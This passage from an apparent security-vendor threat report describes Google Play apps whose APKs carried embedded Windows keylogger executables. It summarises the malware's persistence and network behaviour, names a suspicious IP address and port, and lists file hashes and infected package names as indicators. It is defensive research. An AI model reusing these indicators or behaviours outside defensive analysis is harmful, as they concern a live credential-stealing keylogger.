Notably, the infected APK files do not pose any threat to Android devices, as these embedded Windows executable binaries can only run on Windows systems: they are inert and ineffective on the Android platform. The fact that these APK files are infected indicates that the developers are creating the software on compromised Windows systems that are infected with malware. This type of infection is a threat to the software supply chain, as compromising software developers has proven to be an effective tactic for wide scale attacks. Examples include, KeRanger, XcodeGhost, and  NotPetya.
Most of the infected apps were released to Google Play between October 2017 and November 2017, which means these apps have been in Google Play for more than half a year. Among these infected apps, several have more than 1,000 installations and 4-star ratings.
Google play_1

Figure 1: An infected app with 1000+ downloads and 4.0 rating

Interestingly, we saw a mixture of infected and non-infected apps from the same developers. We believe the reason might be that developers used different development environment for different apps.
Some of the infected apps include “Learn to Draw Clothing”, an app teaching people how to draw and design clothing; “Modification Trail”, an app showing images of trail bike modification ideas; “Gymnastics Training Tutorial”, an app letting people find healthy ideas for gymnastic moves.
 
Google play_2

Figure 2: Apps from one developer (marked) are infected with Windows keylogger

Among these infected apps, one APK file may contain multiple malicious PE files at different locations, with different file names. However, there are mainly two PE files embedded across all of the infected apps.
According to the analysis results from WildFire, one PE file has infected 142 APK files including those apps on Google Play.  The second PE file infected 21 APK files. 15 APK samples of them have both PE files mentioned above inside. Among these infected APK bundles, we found a number of other malicious PE files inside. These developers’ machines may be seriously infected by various malware families.
After investigating all those malicious PE files, we found that there is one PE file which infects most of the Android apps, and the malicious activity of that PE file is key logging.  On a Windows system, this key logger attempts to log keystrokes, which can include sensitive information like credit card numbers, social security numbers and passwords. Besides, these files fake their names to make their appearance look legitimate. Such names include “Android.exe”, “my music.exe”, “COPY_DOKKEP.exe”, “js.exe”, “gallery.exe”, “images.exe”, “msn.exe” and “css.exe”.­
During Palo Alto Networks’ WildFire analysis, the malicious PE files have the following suspicious activities when executed on a Windows system:

  • Creates executable and hidden files in Windows system folders, including copying itself
  • Changes Windows registry to auto-start themselves after restarting
  • Attempts to sleep for a long period
  • Has suspicious network connection activities to IP address 87.98.185.184 via port 8829

 
Potential Damage and Mitigation
The malicious PE files cannot directly run on the Android hosts. However, if the APK file is unpacked on a Windows machine and the PE files are accidentally executed, or the developers also issue Windows-based software, or if the developers are infected with malicious files runnable on Android platforms, the situation will go much worse.
Customers of Palo Alto Networks are protected by our WildFire and Traps for Android. WildFire is able to automatically detect these infected apps. Traps for Android protects Android devices, it automatically intercepts malicious apps installed on the device by leveraging WildFire and protect the device from malicious apps by blocking the app and notifying the user.
The development environment is a critical part of the software development life cycle. We should always try to secure it first. Otherwise other security countermeasures could just be attempts in vain.
 
Acknowledgements
We would like to thank Ryan Olson from Palo Alto Networks for their assistance during the analysis.
 
Appendix
PE files found in the infected apps:
 
9af18bd1bc68e0f49f8935a8cf662729cc1cec773f0237188762cebe75d48521
bdfabde9e45693a218e0391005f32e3546dedd0bc757cea2012ad42afdbe2f06
cadee0451947759cae1c94545ca910486e504c6544f6e60ba0a176b31df44abf
11ada55cc9dfcbafe969510b0711b110a8991b5deca2f296b895969958a66559
138f338653c82b86ea94829058a0e0bc18940903f6d7a01a7f0c2ba47f68e7e2
99074b45b20f794c35b72dbd6af2380497b8b482814822d88ca9c1c5cf83a400
57b345f635bf77f5b0da01248a1b798cbd8deb2c66306303ca595f3ccfaa8fbe
e355275030efa1ddb8bc233095c189a9cc6586ba241a1c4b7a9fe1875945bbf7
355c640a0cd3793f0e6ed96dd8175afe32d6bae7a8f8d1f1496167e5f2191195
88bdf6e443300988e160204778d859fb5a0dca775876ff8b079a4eb886ad4372
78c91a6071e73e7b0ebd10ff7a4a62d3412fe0f281e4ac064eeedbf707b15b22
524c780f3f35c5c9dd1bd935affe312f89ff851d51f9df21e78730134d4e7c50
cb09e6e28e2e0e3c031d99cb122ca767a23ecea1a2e98cb6d8bcf6ff7e61151e
b0442ad97086c4850133dcc72746f877cbbdb0b037374e598e231f8728dcda0c
07b07b74743364451876dca12531cdd515feff6264745be49add094388537685
edfadee37e5dd0e045d211ba9b09c2ac0f267790ac4ef8d7f9beced25d94c1fc
493d95c5222a86d581110d7c38b62a4e2015bf782ddac04c5a7e576a0955a727
5889a05fc1f161fe23ec9e3dfeb35ac225621f3c5c7019df7afa14aefdb96235
78f936fd6a8cabc39c727976ab9c2c6ceeb5be690186e2a729f59adaad7b3f4c
7268ea040b7ca1ab79d3f1eac279cf4cbc072c706b70672eba8d84387f76b3bf
688d39cfa1f581e841a896963b83081960844cdf06d3c71e7eab2746e498d5b1
df74876a564d38bf8fd3275fd0a429ee74c3f67b2e78f59d97c2ec8a7143bd9a
 
The following infected APK files were found on Google Play.
 

SHA256 App Name Package Name
1896ed8d12f5a7c3046acd929e64cc97e8acb020e40c1b3a2001b30003f50883 Baby Room com.KamarBaYi.odieapps
290b7f930361d06e8f8c93aa9f97405d6b4b9fef7f9ac13c3c73c8966cf0e83a Motor Trail com.MotorTraiL.odieapps
b2fec79084611ad8abed3354399b2e759e903ec15976b9d10ac05e548964a1e9 Tattoo Name com.TatToNaMa.odieapps
b828b870a317693a0ae0544b9d0ffddcf6442da4d1979f6f8ccafcbe5c96d1e3 Car garage coml.GaRaSiMobiL.odieapps
86661a4a611484f8db2593bfae241db9b53274a1736ec668335f878ed24795e4 Japanese Garden com.TaMaNJapanG.odieapps
79e77835c9690ca0bc6d376659dd15f50e396bbc573fcc7293d458d8002f6a60 Koi fish com.IkanKoI.odieapps
91bb8594e118338f38de22e96e89cc5e11d619da3ec3dc0ecada13720111a588 House Terrace com.TeRaSRumaH.odieapps
c41a8edaa85344e48a75843447358ea7a092fe1061bca79ac535abf467112eda Skirt Design com.DesainRokK.odieapps
52d9df500ae7684d58c2bf65fb6852da1440e79b07a049f72585ccf8665e9d64 Yoga Meditation com.MeditasiYoga.odieapps
21fce35139cfdf1145855987b6e3306adf26c3b60ba59b1c364a3d7d44bc5285 Shoe rack com.RaKSepatU.odieapps
4739a7d1317fee0a7a885a00468d9749bb7da5c5f1696408deaa736fa2aab6e9 Unique T-shirt com.KaoSUniK.odieapps
bc49cec1896f7f4542ff8712da8475bf5e55abe7558918c260492467eb03ef6f Mens Shoes com.SepatuPriA.odieapps
7345975ca29d16e3b55309e84f6249990878482ed55e597269fdd0cb77a290ff TV RuanG TaMu com.TVRuanGTaMu.odieapps
ecb04d5359949bfbbc64fd7bedd8fde3a5b9703784fea8d758a3a643117165b0 Idea Glasses com.IdeaKacamata.odieapps
a21f4e9536dcbcd810fbfcdff8f6cce5b6338f1d5df7ba45abd1a5f4ed8dca76 Fashion Muslim com.FashioNMusLiM.odieapps
41386181f9e7dc8085d6a117607cd79346744d925e5d2ca67759742fbac47e51 Bracelet com.GelangTut.odieapps
fceda65ea8624af018c072c60ed5fcb8b6bb00832fb63559e819463d2ba9db4e Clothing Drawing com.BusanaMenggambar.odieapps
c5b24cf5d348a6fe3ad543f70379c7d9fa60a8e9bac03d6ea387fcdbcbbca932 Minimalist Kitchen com.DapuRMiniMaLis.odieapps
c36e7566e2e92898162006b9922d9d8f450867224b67d2346f70d7e76b1cbae6 Nail Art com.SeNiKuKu.odieapps
0039f9b2faac6146bddc2831fdfa6a03327f77d3954a1a27ab66e6b0b5952a3a Ice cream stick com.StikEzKriM.odieapps
a8687cb35ee453958dc1757608505f3c5a7f137909f517acb7a850316d0e87b4 Roof com.AtapRumaH.odieapps
7da49a0122444b2087a582d142c82375541544fd765f29b9b3f7728e598b54e0 Children Clothes com.BusanaAnaK.odieapps
7312c5ba59f89350b13fe93107233a06c79a68eedff0eb082ef7a5f24bec76e2 Home Ceiling com.PlaFoNRumaH.odieapps
bf00efc96cf3ecdd3069afbbfae53aeb79910848721fe50d64410760790f1a27 PoLa BaJu com.PoLaBaJU.odieapps
892f883d3588ee952888cccb4bb9bb33092f1be924d981e69595a758daca8c86 Living room com.RuanGTaMu.odieapps
5a1693d255e5f487214fd1cd46c0cff8d5375903459c7f87ae17f636fa470e32 Bookshelf com.RakBuKu.odieapps
906cd586d8f7388c1fbb0581b926aa4b2dc5534d460cc3ba011198d26a1dfe16 Knitted Baby com.RajutanBayI.odieapps
96bd87c8bd8772b1f11b3e4771889b4d2d81739cd2ef7494a3ff54fc28e711f6 Hair Paint com.CaTRambuT.odieapps
54380fa8c12f6333a22fd0c728e615e92470565e96c7b39ae2f1d7e30584fc31 Wall Decoration com.DekoraSiDinding.odieapps
b6671808dbc226c11697c54d000b6a30213478c141d96aa4c3d52fa5243cff16 Painting Mahendi com.MelukisMehndi.odieapps
525c515e3e8c0d6007ab79f05a64c42951b440db4ab12f397218efa9692faa84 Bodybuilder com.Binaragawan.odieapps
399058e95153600a471d94309a6c3e87f3851647fb003f6d4289fa5b5df389a4 Couple shirts com.KaosCouple.odieapps
44066a23057ee93bed27737e8f444150c29c68b14bc9b21419f549188e436103 Unique Graffiti com.GrafitiUniK.odieapps
1fcd61a10c170d259fca12e52d1930018adafad5613551b5bbb14987de1c7cfd Paper flower com.BungaKerTas.odieapps
0b85488788f7f83e879f41591d674b50d4daafb60094918391d98f143ba54ddc Night gown com.BaJuTiDuR.odieapps
cb11dd259fa4fc0c1b4ee878cfb3c2df2a0a6ecab83276e33185ba7ce45c46ba Wardrobe Ideas com.IdeLeMaRi.odieapps
4091c8acea954fffd22be4c0675c440cf1fe4620d6659b8d23d8d3a2fc815e20 Dining table com.MejaMakaN.odieapps
9412ca41b7c9aebaeef05fe5c45bf5c5d998e5da44d5a7a495f5ba06c00feea0 Gymnastics com.LatiHaNSeNaM.odieapps
761032267b9659cd04676fce55e602a87e43cb4c75c58fa61486cc73da0016c6 Use Child com.PakaiAnAnak.odieapps
14bffba23e2bf4a61b4a54f1ef5027225290eab7f10d4c663570629e456cf51e Window Design com.DesainJenDeLa.odieapps
5dca7151c50ce88102b1fc5c0dd984c57202ad7c67f25be231d64cf1d52da437 Hijab StyLe com.HijabStyLe.odieapps
3350f4eb55c2f00c1ba0380044a1a6670a4eddc5cbabf903f2ad2e266eab58d2 Wing Chun com.TeknikWingChuni.xsadroid
c99a6e7e5d066076bacfad9142e3cf01855525782d638ccfe9ce7cd57d11ca5c Fencing Technique com.TeknikAnggar.xsadroid
Get the latest news, invites to events, and threat alerts

Default Heading

Read the article Right Arrow